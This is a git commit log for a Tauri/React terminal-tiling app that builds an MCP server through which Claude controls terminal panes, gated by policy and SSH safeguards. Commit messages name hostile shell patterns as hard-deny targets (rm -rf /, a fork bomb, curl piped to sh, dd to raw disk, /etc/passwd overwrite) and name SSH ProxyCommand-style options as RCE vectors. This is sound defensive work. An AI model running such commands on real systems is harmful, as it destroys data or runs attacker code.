2026-05-26 17:14:42 +01:00
f3ab54252e scripts: pr4-verify.mjs — end-to-end MCP add_host/delete_host harness
Drives the running MCP server through real HTTP transport to verify the
PR-4 surface end-to-end: safeguard refusal, extraArgs sanitiser, happy
path (with hosts.json side-effect check), delete_host cleanup. Reads
bearer token from %APPDATA%\com.megaproxy.tiletopia\mcp.json, snapshots
+ restores mcp-policy.json so the user's settings survive the run.

Run from D:\dev\tiletopia (Windows host, with the dev app + MCP server
running):
  node scripts/pr4-verify.mjs

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-26 16:53:22 +01:00
4bf55782da CLAUDE.md: React 18, not Svelte 5
Stack line was stale since the React migration in commit 774b863 (0.2.0).
Also updates the `pnpm check` parenthetical from svelte-check to
tsc --noEmit, which is what the script actually runs now.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-26 16:13:32 +01:00
f6431891bc gitignore: cargo-test.log
PowerShell `cargo test ... *> ..\cargo-test.log` artifact from manual
test runs on the Windows host. Same shape as the existing dev.log /
screen*.png scratch entries.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-26 16:06:08 +01:00
e872044310 Fix hard-deny enforcement gaps surfaced by PR-4 test re-enable
Re-enabling the policy test module in PR-4 (the policy_with compile fix)
exposed 16 pre-existing failures: 14 real bugs, 2 wrong assertions.

is_hard_denied is now two-pass — whole-input first, then per-subcommand.
The subcommand splitter was tearing apart patterns whose meaning needs
their | / & to stay intact: fork bomb (:|:&) and curl-piped-to-shell.
Result was that 9 of the 10 advertised hard-deny rules quietly didn't
enforce against their own canonical examples.

Regex fixes:
- Rule 1/2 flag class [a-z] → [a-zA-Z]: catches `rm -Rf /`.
- Rule 1/2 trailing anchor accepts # so a trailing comment can't smuggle
  the danger past detection.
- Rule 8 shell alternation gains bare `sh` — `curl evil | sh` (most
  common form) was not previously caught because `ba?sh` required `b`.
- Rule 9 anchor tightened: `/` must be followed by a path boundary,
  end-of-input, or shell operator. `chmod -R 777 /tmp` no longer false-
  positives (still destructive, but a deliberate user scope choice).

Two test assertions flipped to is_none(): hard_deny_quoted_pattern_not_
matched and hard_deny_git_grep_contains_pattern. The originals expected
false-positives on echo'd / grep'd danger strings. The post-fix behaviour
of NOT flagging these is correct UX: searching for or printing a danger
string is not the same as invoking it.

cargo test --lib: 118 passed; 0 failed.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-26 16:05:31 +01:00
9ebb3e4d2e MCP v2 PR-4: add_host + delete_host + extraArgs sanitiser + third SSH safeguard
Final v2 PR. All 11 planned write tools live. add_host/delete_host let
Claude mutate the saved-hosts list; both gated by a new allowAddHost
switch (default off) — symmetric with the allowOpenSsh gate from PR-3.5.

add_host's extraArgs are sanitised against CVE-2023-51385-class
local-RCE primitives: ProxyCommand, LocalCommand, KnownHostsCommand,
PermitLocalCommand=yes are refused server-side. Recognises both -o KEY=VAL
and -oKEY=VAL, case-insensitive on the key. The manual host manager UI
stays unrestricted (user has full agency over their own hosts).

Also fixes a pre-existing compile bug: mcp_policy.rs's policy_with test
helper was missing the ssh_safeguards field added in PR-3.5, silently
breaking the entire policy test module since then. Re-enabling those
tests is the prereq for the hard-deny rework that follows in the next
commit.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-26 16:04:14 +01:00
71f330e934 Session log: MCP v2 PR-3 + PR-3.5 + polish bundle
Document the spawn-completion oneshot chain, the rate limiter,
SSH-extra confirm banner, two-switch SSH safeguards, the
spawn_pane SSH-schema split, instructions refresh, and the host
manager Connect button. Plus the four cross-IPC integration bugs
(Emitter trait, McpError 'static, StrictMode listen() race,
rename_all camelCase) and the ErrorBoundary that caught the last
one. Open follow-ups in priority order.
2026-05-26 15:21:40 +01:00
6da7523993 MCP polish + SSH host manager Connect button
Three small things bundled from PR-3 verification:

1. Split SSH out of mcp.spawn_pane schema. New McpSpawnSpec enum
   (Wsl | Powershell only) used for SpawnPaneArgs, so Claude's
   spawn_pane tool description and JSON schema show only the local
   shells. SSH must go through connect_host. The internal
   pty::SpawnSpec is unchanged — the frontend's manual spawn path
   via XtermPane still supports all three variants. Previously
   spawn_pane(kind=ssh) was a half-broken path that required `host`
   as a separate mandatory field even when hostId was given;
   serde-rejected the natural "spawn to a saved host" call shape.

2. Refresh the MCP server's `with_instructions` text and the
   module-level header comment. Both still claimed "read-only v1"
   long after the v2 write surface landed, which was making Claude
   refuse to attempt tools on first contact ("the server has
   flagged itself as read-only..."). The instructions now describe
   the actual tool set, the SSH-via-connect_host convention, and
   the policy/safeguards gates so Claude doesn't have to infer.

3. Add a "Connect" button to the SSH hosts manager. Previously
   the dialog only had Edit — users (rightly) expected clicking a
   saved host to spawn an SSH pane to it. New onConnect callback
   does the splitLeaf + smart-orient dance and closes the manager.
   Buttons wrapped in a flex container so the row's
   space-between layout doesn't strand the new button mid-row.
2026-05-26 15:20:22 +01:00
bf2810a433 MCP v2 PR-3: write_pane, spawn_pane, connect_host + SSH safeguards
Three of the highest-power v2 tools, plus a defense-in-depth pass
on SSH-specific risk.

write_pane sends keystrokes (or any bytes) to a pane's PTY. The
policy engine matches against the text content directly so rules
like write_pane(npm test*) match by what would run, and the
compiled-in hard-deny catches rm -rf /, fork bombs, etc. regardless
of policy. Per-pane token-bucket rate limiter (30 calls / 10s,
3/sec refill) prevents a runaway loop from spamming the user with
confirm modals or burning audit-log capacity. The frontend handler
truncates the text in modal/audit summaries to ~60 chars + escapes
control characters so secrets pasted into write_pane don't echo
verbatim into the UI.

spawn_pane mirrors the existing SpawnSpec enum (WSL distro,
PowerShell, SSH) as the tool schema. New splitLeafWith helper
inserts a caller-built LeafNode (with a pre-generated id) so the
handler can await waitForPaneRegistration on that exact leaf before
replying with the resulting {leafId, paneId}. 15s spawn timeout
covers cold-start WSL distros; 30s for connect_host covers SSH
handshake + auth. Outer dispatch timeout bumped 30s → 60s. SSH
spawns without a saved hostId are refused — LeafNode only persists
sshHostId, no inline params, so use connect_host.

connect_host is a thin wrapper that looks up a saved SSH host by
id and routes through the same spawn machinery.

McpConfirm.tsx gains an optional ssh context — when the call
targets or spawns an SSH pane, a red warning banner renders
explaining that pattern matching is best-effort on the bytes we
send (remote shell expands aliases/subshells before executing).
buildConfirmSummary became buildConfirmInfo and returns the SSH
context alongside the summary string.

PR-3.5 — SSH safeguards. Two new switches in the Policy tab,
both off by default, both gated by mcp_policy::SshSafeguards:

  allowOpenSsh: when off, connect_host and spawn_pane(kind=ssh)
    refuse server-side with a clear "ssh-disabled" message pointing
    at the Policy tab. User must open SSH manually via the titlebar
    🔑 picker and toggle 🤖 on to grant Claude access.

  autoAllowSpawnedSsh: when off, an SSH pane Claude spawns starts
    with mcpAllow=false. User must explicitly toggle 🤖 before
    Claude can read scrollback or send keystrokes. The second switch
    is disabled in the UI when the first is off.

The safe-by-default design means a fresh install gives Claude no
ability to autonomously touch SSH — full safety with one click per
level to enable when consciously wanted. Both switches read fresh
per call so policy edits take effect without a server restart.

ErrorBoundary.tsx — last-resort guard against React render
exceptions. Wraps the App root + each MCP panel tab independently
so a bug in one tab doesn't blank the entire app. Shows a small
red error card with the exception message and a "Try again"
button. Caught a serde rename_all bug during PR-3.5 testing where
PolicyTab read policy.sshSafeguards but Rust serialized
ssh_safeguards (snake_case); without the boundary the whole window
went black.

newId() now exported from tree.ts for the splitLeafWith path.
McpPolicy struct gained #[serde(rename_all = "camelCase")] so
sshSafeguards survives the IPC round-trip cleanly; older policy
files without the field still load (serde defaults to safe).
2026-05-26 14:50:06 +01:00
3acad63fb7 Session log: MCP v2 PR-2 (tree-shape writes)
Note the require_visible_leaf factor-out, the non-interactive
data-loss handling for apply_preset, and PresetName as a typed
enum so the tool schema gives Claude autocomplete.
2026-05-26 12:46:19 +01:00
e0ce223985 MCP v2 PR-2: close_pane, swap_panes, promote_pane, apply_preset
Four more tree-shape tools routed through the existing dispatcher
+ confirm modal + audit log. All take leaf_id args (single or pair)
that must be MCP-allowed via the per-pane chip; apply_preset takes
a typed PresetName enum (single, two_columns, three_columns,
two_rows, two_by_two) plus an allow_drops boolean.

apply_preset's data-loss case is handled non-interactively: if the
preset has fewer slots than the current pane count and allow_drops
is not set, the frontend handler throws with a descriptive message
listing the leaf labels that would be killed, so Claude can decide
whether to retry with allow_drops=true rather than the user being
ambushed by a destructive confirm modal.

promote_pane errors with "no perpendicular split above it" when the
parent shares orientation with the grandparent (same condition the
Ctrl+Shift+P shortcut uses to toast a no-op).

Extracted a require_visible_leaf helper on TileService since 4+ of
the v2 tools now do the same mirror-presence + cloned-metadata
check. Same args_repr convention as set_label so policy rules like
"close_pane" (bare tool name) work uniformly.
2026-05-26 12:44:11 +01:00
09019a0ad7 Session log: MCP v2 PR-1 + PR-1b (policy engine + dispatcher)
Document the fan-out approach (3 Sonnet agents + 1 Haiku), the
event/reply RPC pattern, the 10 hard-deny rules and their caveats,
the audit + confirm + Always-Allow UX, and the four integration
bugs worth remembering (Tauri 2 Emitter trait import, McpError
'static strings, React 18 StrictMode listen() race, lifting the
audit subscription out of AuditTab).
2026-05-26 12:29:17 +01:00
26ffe8859a MCP v2 PR-1b: action dispatcher, confirm modal, set_label end-to-end
App.tsx now listens on "mcp://request" and resolves each call:
needsConfirm=true queues a confirm modal (Accept/Reject, or
"Always allow <tool>" which appends the bare tool name to the
policy's allow bucket on the fly); needsConfirm=false runs straight
through. Replies via mcp_action_reply with externally-tagged
Result. The only wired-up tool for now is set_label, which delegates
to the existing ops.setLabel path.

McpConfirm.tsx (new) — themed amber-bordered modal sibling to the
existing overlays. Enter = accept, Esc = reject. Shows tool, the
policy reason that triggered the prompt, a human-readable summary
("Rename pane X → Y"), and an expandable raw-args section.

Audit log: subscription lifted from AuditTab up to App.tsx so events
fired while the panel is closed (or on Config/Policy tab) still land
in the ring. AuditTab becomes presentational; McpPanel forwards
entries + clearAudit + computes the unread badge from a baseline
seen-count.

StrictMode race fix: both new App-level listeners (mcp://audit and
mcp://request) use the cancelled-flag pattern so a late-resolving
listen() Promise after a strict-mode pretend-unmount tears itself
down instead of leaking a second subscription. Previously this
manifested as duplicate audit rows and a need-to-click-twice on
modal buttons.
2026-05-26 12:26:33 +01:00
464c576b79 MCP v2 PR-1: policy engine + audit log + Config/Audit/Policy panel tabs
Foundation for Claude-drives-the-workspace writes. Nothing wired
end-to-end yet (App.tsx dispatcher comes next); this lands the
machinery + UI.

mcp_policy.rs (new) — three-tier allow/ask/deny policy with
deny-first precedence and a compiled-in non-overridable hard-deny
list (10 patterns covering rm -rf /, fork bombs, mkfs on device, dd
to raw disk, /etc/passwd overwrite, curl|sh, chmod -R 777 /, etc.).
Shell-operator-aware glob matcher mirroring Claude Code's Bash(*)
syntax. Restrictive default — empty policy means every non-hard-
denied call falls to Ask. Persisted to mcp-policy.json in
app_config_dir. Includes a PolicyClassifier scaffold (no-op) for a
future v2.1 LLM-classifier hook. 1152 lines incl. ~100 unit + fuzz
tests covering the matchers and lookalike negatives.

mcp.rs — TileService now holds AppHandle + Arc<PendingActions>
(oneshot registry keyed by uuid). New async dispatch_action helper
runs the policy check, emits "mcp://request" for the frontend to
handle, awaits a oneshot reply (30s timeout), then emits "mcp://
audit" with the outcome regardless. set_label tool wired through
this path as the demo for PR-1b's dispatcher.

commands.rs / lib.rs — new Tauri commands mcp_action_reply,
mcp_policy_load, mcp_policy_save; PendingActions registered as
managed state.

McpPanel.tsx — refactored into Config / Audit / Policy tabs.
AuditTab listens on mcp://audit, keeps a 200-entry ring with
ok/denied/failed chips. PolicyTab edits the allow/ask/deny buckets
(stacked vertically — three columns overflowed the panel) and shows
the hard-deny rules read-only at the bottom with "Cannot be
disabled" badges. Themed scrollbar on mcp-body to match xterm panes.

Caveat: set_label calls from Claude will currently time out — the
App.tsx side that listens on mcp://request and replies via
mcp_action_reply lands in PR-1b.

Co-authored by Sonnet (policy engine, backend plumbing, panel UI)
and Haiku (hard-deny fuzz test suite); integration + bug fixes here.
2026-05-26 12:05:31 +01:00
b14b450577 Session log: MCP persistence + Claude Code OAuth bug + mcp-remote shim
Document the five-layer breakage we unwound (WDF block rules, rmcp
host allowlist, our middleware intercepting OAuth probes, Claude Code
ignoring static bearer, mcp-remote --allow-http) and the working
stdio-shim recipe.
2026-05-26 11:06:42 +01:00
799f507c3c MCP: persistent port/token + mcp-remote shim recipe for Claude Code
Port (default 47821) and bearer token now persist to mcp.json with
OS-picked fallback if the port is taken; new Regenerate button in the
panel rotates the token and restarts the running server. rmcp's
DNS-rebinding host allowlist is disabled so WSL gateway IPs can
connect (bearer-auth handles the gatekeeping); the auth middleware
only enforces on /mcp paths so OAuth-discovery clients don't see a
Bearer challenge on /.well-known/* probes.

Claude Code's HTTP-MCP client currently tries OAuth and ignores
static `headers` auth (anthropics/claude-code#17152, #46879), so the
panel + README config snippet now uses `npx mcp-remote` as a stdio
shim that proxies the HTTP endpoint with the bearer baked in.
2026-05-26 11:05:13 +01:00
352aa8c281 Session log: reflow bug fix + titlebar tidy-up; correct stack note
memory.md still said Svelte 5; migration to React 18 happened in
774b863. Also log this session's investigation, fix, and the
follow-up about CLAUDE.md still needing the same update.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-25 22:28:36 +01:00
fa18307fd9 Tidy titlebar: dropdowns for shell + layout, '+' button to spawn
- Collapse the inline distro buttons + PowerShell + 🔑 SSH hosts into
  a single 'Ubuntu ▾' dropdown (WSL distros + PowerShell sections),
  with 🔑 as a separate icon-only button.
- Collapse the 5 preset buttons into a 'layout ▾' dropdown.
- Add a '+' button next to the shell picker that spawns a new pane of
  the picked shell by splitting the active pane (smart orientation:
  splits right if wide, down if tall). Per-pane ⇥/⇣ arrows still
  inherit from parent — only '+' uses the titlebar selection.
- Drop the 🔔 test-toast button.
- Drop overflow:hidden from titlebar + pane toolbar so dropdowns
  aren't clipped; height lock + nowrap still prevent the reflow bug.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-25 22:26:41 +01:00
e46446444e Lock titlebar + pane toolbar height to stop periodic xterm reflow
When the window or a pane was narrow, button text could wrap inside
flex items, growing the toolbar by ~16px. That shrank .pane-wrap →
ResizeObserver fired on every xterm → fit() reflowed text. Idle
detection toggling " · N idle" in the titlebar was enough to flap a
button across its wrap threshold every few seconds.

Lock both bars to fixed heights with white-space:nowrap, flex-shrink:0
on children, and overflow:hidden. Items that don't fit clip silently
instead of wrapping.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-25 22:11:03 +01:00
d667e18c0c Session log: SSH, links, promote, help, MCP v1 2026-05-25 21:43:57 +01:00
112d7dd5b5 Use ReadResourceResult::new — struct is non-exhaustive 2026-05-25 21:34:25 +01:00
83d8932c98 Add MCP server (v1 read-only): toggle, per-pane gate, panel UI 2026-05-25 21:31:49 +01:00
6068522ee3 Add per-leaf mcpAllow flag for MCP visibility gating (default-deny) 2026-05-25 21:22:15 +01:00
b35a5b282d Add help overlay: titlebar ? button, F1 hotkey, shortcuts and tips 2026-05-25 21:04:55 +01:00
3cdd485627 Note help overlay + Claude-MCP server as next TODOs 2026-05-25 21:02:11 +01:00
5085326cb1 Replace drag-promote gesture with Ctrl+Shift+P keyboard shortcut 2026-05-25 20:58:43 +01:00
8e4a358aa8 Make gutters discoverable: bigger hitbox, visible line color, higher z-index 2026-05-25 20:48:50 +01:00
d757117f95 Debug: include gutter orientation + position in drag trace 2026-05-25 20:41:17 +01:00
4816f449d4 Temp debug log: trace gutter-drag promote evaluation 2026-05-25 20:35:48 +01:00
8c7886866c Lower promote-gesture threshold from 75% to 50% of sibling pane 2026-05-25 20:32:49 +01:00
150e5f09cb Promote nested pane to full row/column by dragging gutter past sibling 2026-05-25 20:24:47 +01:00
dbd6c163c3 Lock in keyring-core and windows-native-keyring-store from password feature build 2026-05-25 20:24:41 +01:00
b462f9f3bf Acknowledge SpawnSpec::Ssh host_id in build_command pattern 2026-05-25 20:10:31 +01:00
1c243b3f3f Save SSH passwords in Windows Credential Manager and auto-type at prompt 2026-05-25 20:08:31 +01:00
872fb0e80e Add SSH connections: saved hosts manager and hierarchical shell picker 2026-05-25 19:47:37 +01:00
4e5bc7e081 Scope opener plugin to http/https/mailto so clicks open the browser 2026-05-25 19:47:24 +01:00
a24f7de7df Make URLs in terminal output clickable via xterm web-links + tauri-plugin-opener 2026-05-25 19:13:08 +01:00
234a0b74a1 Add PowerShell as a selectable shell in the distro dropdown 2026-05-25 19:13:03 +01:00
29b15f19c1 Route terminal clipboard through tauri-plugin-clipboard-manager; bump to 0.2.3
navigator.clipboard.readText() triggers WebView2's "Allow clipboard access?"
permission prompt on every paste. The plugin goes through IPC + the OS
clipboard directly, so the prompt never fires.

Wired the Rust plugin, granted clipboard-manager:allow-{read,write}-text in
the capabilities manifest, swapped XtermPane's copy/paste handler to use
the plugin's readText/writeText.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-22 23:27:43 +01:00
e94d2499d1 Add tauri-plugin-clipboard-manager dependency
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-22 23:12:52 +01:00
cd9540b106 Add Ctrl+Shift+C / Ctrl+Shift+V copy-paste in terminal panes
Uses attachCustomKeyEventHandler so xterm doesn't first consume Ctrl+V
and inject a raw ^V into the PTY. Paste routes through term.paste() so
broadcasting and bracketed paste continue to work.
2026-05-22 23:10:51 +01:00
aab36afce4 Per-pane and global terminal zoom via keyboard
Each leaf now carries an optional fontSizeOffset, persisted in
workspace.json alongside everything else. Ctrl+= / Ctrl+- / Ctrl+0
adjust the active pane; adding Shift escalates to every pane (the
mirror of the broadcast Shift+Alt convention, with shift alone since
the keys are otherwise unused). Bindings match on e.code so layouts
that don't have "=" / "-" / "0" in the same spot still work.

XtermPane gained a fontSize prop. A secondary effect reacts to changes:
set term.options.fontSize, fit() to recompute cols/rows for the new
cell size, refresh(), then resizePane so bash redraws the prompt at
the right width. No remount, so PTY + scrollback survive zoom changes.

The new tree helpers (resolveFontSize / adjustFontSize /
adjustAllFontSizes) are metadata-only — they don't swap leaf ids, so
nothing respawns. reshapeToPreset also carries the offset across when
splicing existing leaves into a new layout. 12 new vitest cases pin
those invariants plus the clamp and reset-to-default behaviour.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-22 22:48:35 +01:00
8f9667b218 README: refresh shortcuts table and add post-rewrite interactions
Lead the "Using it" section with the keyboard shortcuts table, then
break the remaining behaviour into mouse/toolbar and broadcast/idle/
presets subsections. Documents drag-to-swap, the 180px resize minimum,
the home-cwd default, the new idle border + titlebar badge (replacing
the old toasts blurb), and the splice-preserving preset behaviour.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-22 22:39:54 +01:00
661a76951b Pick up Cargo.lock 0.2.2 bump from tauri build 2026-05-22 22:28:18 +01:00
1720b60499 Bump version to 0.2.2
Changes since 0.2.1:
- Keyboard shortcuts: Ctrl+K palette + Ctrl+Shift+E/O/W for
  split-right / split-down / close, Ctrl+Shift+B per-pane and
  Ctrl+Shift+Alt+B global broadcast, Ctrl+Shift+Arrow for spatial
  pane navigation
- New panes default to WSL home (~) instead of inherited Windows cwd
- Resize artifacts: rAF-throttle gutter drag, debounce PTY resize,
  skip resizePane when cols/rows haven't actually changed (kills the
  idle-flap loop that surfaced with many panes)
- Minimum pane size (180px) enforced on both split and gutter drag
- 2px gap around each leaf so per-pane borders read as distinct
  rectangles instead of a continuous grid

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-22 22:24:57 +01:00
45d0f4cd8b Add a 2px gap around each leaf slot so per-pane borders don't merge
With panes packed edge-to-edge, adjacent .leaf elements' 2px borders
touched directly. When all (or many) panes went idle, every pane's
red border combined with its neighbour's to form continuous red lines
across the whole window — looking like a single grid pattern, not
distinct per-pane outlines.

Fix: padding: 2px on .leaf-slot (box-sizing: border-box). Each .leaf
ends up inset 2px on every side, so adjacent panes have a 4px dark
gap between them and their borders read as separate rectangles.
Affects all borders equally (idle red, active blue, broadcasting
orange) and gives the layout a cleaner separation overall.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-22 22:18:32 +01:00
9827b01688 Skip PTY resize when cols/rows didn't actually change
Most ResizeObserver firings in XtermPane don't change xterm's cell
grid — just shuffle a few pixels around. We were still calling
resizePane() (which SIGWINCHs bash, which redraws its prompt, which
emits data, which resets the idle timer). With many panes, this
created a self-reinforcing flap loop where the idle indicator would
toggle every few seconds.

Now: track the last cols/rows we actually sent to the backend in the
mount effect's closure. If a debounced fit() ends up at the same
grid dimensions, skip the resizePane call entirely. No SIGWINCH, no
prompt redraw, no data event, no idle flap.

Zero functional change for actual resizes; only suppresses redundant
PTY syscalls.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-22 22:12:06 +01:00
daf0d4e88a Enforce minimum pane size (180px) on split and gutter drag
Spamming the ⇥/⇣ split buttons (or their Ctrl+Shift+E/O shortcuts)
used to subdivide panes indefinitely, leaving toolbar-only slivers
that were unusable.

- tree.ts: MIN_PANE_PX = 180 constant.
- App.tsx: the `split` orchestration callback now computes the active
  pane's pixel dimensions from its layout slot + the container rect,
  and refuses to split if either child would fall below MIN_PANE_PX.
  Surfaces the refusal via a `notify(...)` toast so the user knows
  why nothing happened.
- Gutter.tsx: pointermove clamps the new ratio so the smaller child
  stays at least MIN_PANE_PX wide/tall. Falls back to the old 0.05
  floor only if the parent is so small that two min-sized panes
  can't both fit (degraded but functional).

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-22 22:01:41 +01:00
a5209e08ae Debounce PTY resize during drag to stop SIGWINCH-spam corrupting prompts
What the user saw: dragging a gutter filled the affected panes with
many overlapping bash prompts, some corrupted mid-print
(megaproxy@DESKTOP-megaproxy@DESKTOP-SSAQG5 etc).

Root cause: every resizePane() call sends SIGWINCH to the shell, which
makes bash redraw its prompt. The previous fix coalesced the local
xterm fit() into one per rAF, but still fired resizePane on every
rAF — 60+ SIGWINCHes per second during a drag, faster than bash can
finish one prompt redraw before the next interrupts it.

Fix: separate the two concerns. fit() + term.refresh() still run
every rAF (the visual must stay smooth). But resizePane() is
debounced to fire 150 ms after the LAST rAF — i.e. only when you
stop dragging — so bash gets one clean SIGWINCH at the final size
and produces a single tidy prompt redraw.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-22 21:53:34 +01:00
7d1f1f4b9a Default new panes to WSL home (~) instead of inherited Windows cwd
Previously: spawn_wsl(cwd=None) passed no --cd to wsl.exe, so each
pane inherited the launcher's cwd — which is typically
C:\Users\<user>, surfacing inside WSL as /mnt/c/Users/<user>. Annoying
because the first thing you do in a new pane is `cd ~`.

Now: if the caller didn't specify a cwd, we explicitly pass `--cd ~`
so the pane lands in the WSL user's home. Existing panes keep their
saved cwd from the workspace.json.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-22 21:43:38 +01:00
94bdb884ad Fix resize artifacts: rAF-throttle drag + force xterm repaint
Two related fixes for stale glyphs / visual artifacts while dragging
a gutter:

- Gutter.tsx: pointermove now writes the new ratio into a ref and
  schedules a single requestAnimationFrame flush per frame. Without
  this, setTree fires 60+ times per second during a drag and React
  + ResizeObserver + xterm's DOM renderer get out of sync. The
  pointerup handler flushes any pending ratio so the final position
  always lands.

- XtermPane.tsx: the ResizeObserver callback now also rAF-coalesces
  AND calls term.refresh(0, term.rows - 1) after fit.fit(). xterm's
  DOM renderer doesn't reliably repaint freed-up rows after a
  shrink, so the explicit refresh wipes any stale glyphs.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-22 21:40:16 +01:00
a4cd82440b Add keyboard shortcuts (Ctrl+Shift chord style)
| Ctrl+K           | palette                                |
| Ctrl+Shift+E     | split active pane right                |
| Ctrl+Shift+O     | split active pane down                 |
| Ctrl+Shift+W     | close active pane                      |
| Ctrl+Shift+B     | toggle broadcast on active             |
| Ctrl+Shift+Alt+B | toggle broadcast on ALL panes          |
| Ctrl+Shift+Arrow | focus neighbour pane in that direction |

The handler attaches at capture phase on window so it wins against
xterm.js. It bails when a non-terminal <input>/<textarea> is focused
so label edits and the palette input keep working normally.

Spatial neighbour-finding lives in tree.ts as findNeighborInDirection
— picks the leaf whose centre is most aligned in the perpendicular
axis, breaking ties by primary-axis distance.

Tooltips on toolbar/titlebar buttons now mention their shortcuts;
README has a key-binding table.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-22 21:32:51 +01:00
9aa0c5a828 Pick up Cargo.lock 0.2.1 bump from tauri build 2026-05-22 21:14:10 +01:00
31bc4859cf Bump version to 0.2.1
Changes since 0.2.0:
- Fix broadcast no-op (useEffect deps captured stale orch ref, so paneIds
  got silently unregistered on every click → broadcastFrom found no peers)
- Flat-list layout architecture: render leaves as siblings keyed by id,
  position via absolute boxes. PTYs survive any tree reshape.
- Drag a pane's toolbar onto another pane to swap them
- Idle reporting moved out of toast spam into a "N idle" titlebar badge
  + red pane border + red "idle" status text
- Themed terminal scrollbars
- Global 📡 broadcast toggle in the titlebar
- Presets preserve existing panes' shells (only kill what overflows the
  preset's slot count, with a confirm dialog)
- React 18 frontend (Svelte version retired to svelte-archive branch)

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-22 21:10:50 +01:00
d9ddf52699 Replace idle toasts with pane border + titlebar badge
Old behaviour: every pane fired orch.notify("X is idle") after 5s of
silence, stacking up to N toasts that took ages to dismiss.

New behaviour:
- LeafPane tracks its own isIdle state locally and reports up via
  orch.reportLeafIdle(leafId, idle).
- App aggregates into a Set<NodeId> and renders "N idle" in red after
  the "N panes" count in the titlebar (hidden when zero).
- The pane itself gets a red border (.leaf.idle) — but active and
  broadcasting borders still take precedence, so the focus indicator
  isn't masked by idle status.
- The pane's "alive" status text in the toolbar swaps to red "idle"
  while it's quiet (reverts to "alive" the moment output arrives).
- Idle clears immediately on the next byte of output (no 1-second lag)
  AND when the pane unmounts (cleanup effect).

No more flood of toasts.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-22 19:54:20 +01:00
c93ebddfa5 Drag a pane's toolbar onto another pane to swap them
New interaction: click-and-drag any pane's toolbar onto another pane
to swap their positions in the tree. The shells / scrollback stay
intact (each leaf keeps its data; only the tree slot it occupies
changes).

Implementation:
- tree.ts: `swapLeaves(root, idA, idB)` walks the tree once,
  substituting one leaf for the other at each occurrence. The leaf
  objects themselves carry their id/distro/cwd/label/broadcast across,
  so React preserves the LeafPane instances via the flat-list keying.

- orchestration.tsx: add drag lifecycle to the context —
  dragSourceId / dragOverId (reactive) plus beginHeaderDrag,
  setHeaderDragOver, endHeaderDrag (stable methods).

- App.tsx: implement those methods. endHeaderDrag(true) swaps if
  source and over are different leaves.

- LeafPane.tsx: pointerdown on .pane-toolbar (skipped if the target
  is a button/input). 5px movement threshold before drag commits to
  prevent accidental swaps when clicking a chip etc. Pointer-capture
  the toolbar so we keep getting move events even outside it. Use
  document.elementFromPoint to find the leaf under the cursor.

- CSS: source pane fades to 40% opacity during drag; target pane
  shows a 3px dashed blue outline; toolbar shows grab/grabbing
  cursors.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-22 19:47:06 +01:00
c4747546e0 Flat-list layout: render leaves as siblings keyed by id
The fix for the real preset bug: previously, presetSingle/2H/3H/2V/2×2
appeared to preserve panes (we copied id/distro/cwd/label/broadcast
into the preset's slots), but React's reconciliation tore down every
LeafPane and re-mounted it because the tree structure changed —
killing all PTYs and spawning fresh shells. The "preservation" was
data-only; the React components didn't survive.

Solution: stop rendering the Pane → SplitNode → LeafPane recursion.
Walk the tree to produce a FLAT layout of `{leaf, box}` entries (each
box is top/left/width/height as fractions 0–1). Render all leaves as
siblings of a relative-positioned container, each absolutely
positioned by its box. Key each one by leaf.id — React preserves the
component (and its XtermPane → PTY) across any tree reshape; only the
inline style changes.

Gutters render as separate sibling overlays at the split boundaries,
each with its own pointer handlers. Dragging mutates the split's
ratio via `updateSplitRatio(tree, splitId, r)`; the layout
recomputes; leaf boxes change; nothing remounts.

Now: clicking 2×2 on 4 stacked panes keeps all 4 shells alive and
just rearranges them into the grid. Same for any preset that doesn't
overflow.

Side benefit: removed the recursive Pane.tsx + SplitNode.tsx + their
CSS. The render path is now straightforward, no recursion, easier to
reason about.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-22 19:39:58 +01:00
8c3af8f9ee Preserve existing panes when applying a preset
Previously: clicking 1 / 2H / 3H / 2V / 2×2 in the titlebar replaced
the whole tree with brand-new empty leaves, killing every shell — and
the only safeguard was a window.confirm() that's easy to miss-click.
The user lost work whenever they reached for a preset.

New behaviour via `reshapeToPreset`:
- The preset's shape is built fresh (1, 2, 3, or 4 slots), then existing
  leaves are spliced into those slots in DFS order. Their id / distro /
  cwd / label / broadcast all carry over, so the same PaneId is still
  mapped — the PTY keeps running.
- If the preset has MORE slots than existing leaves (e.g. 1 pane → 2×2),
  the extra slots stay as fresh empty leaves and new shells spawn there.
  No prompt — pure additive change.
- If the preset has FEWER slots than existing leaves (e.g. 8 panes →
  2×2), the overflow leaves are returned in `dropped`. We confirm with
  the user, and if they accept, kill those PTYs explicitly.

Tradeoff: split ratios reset to 0.5 (the whole point of "apply preset"
is to use its layout). That's an acceptable cost.

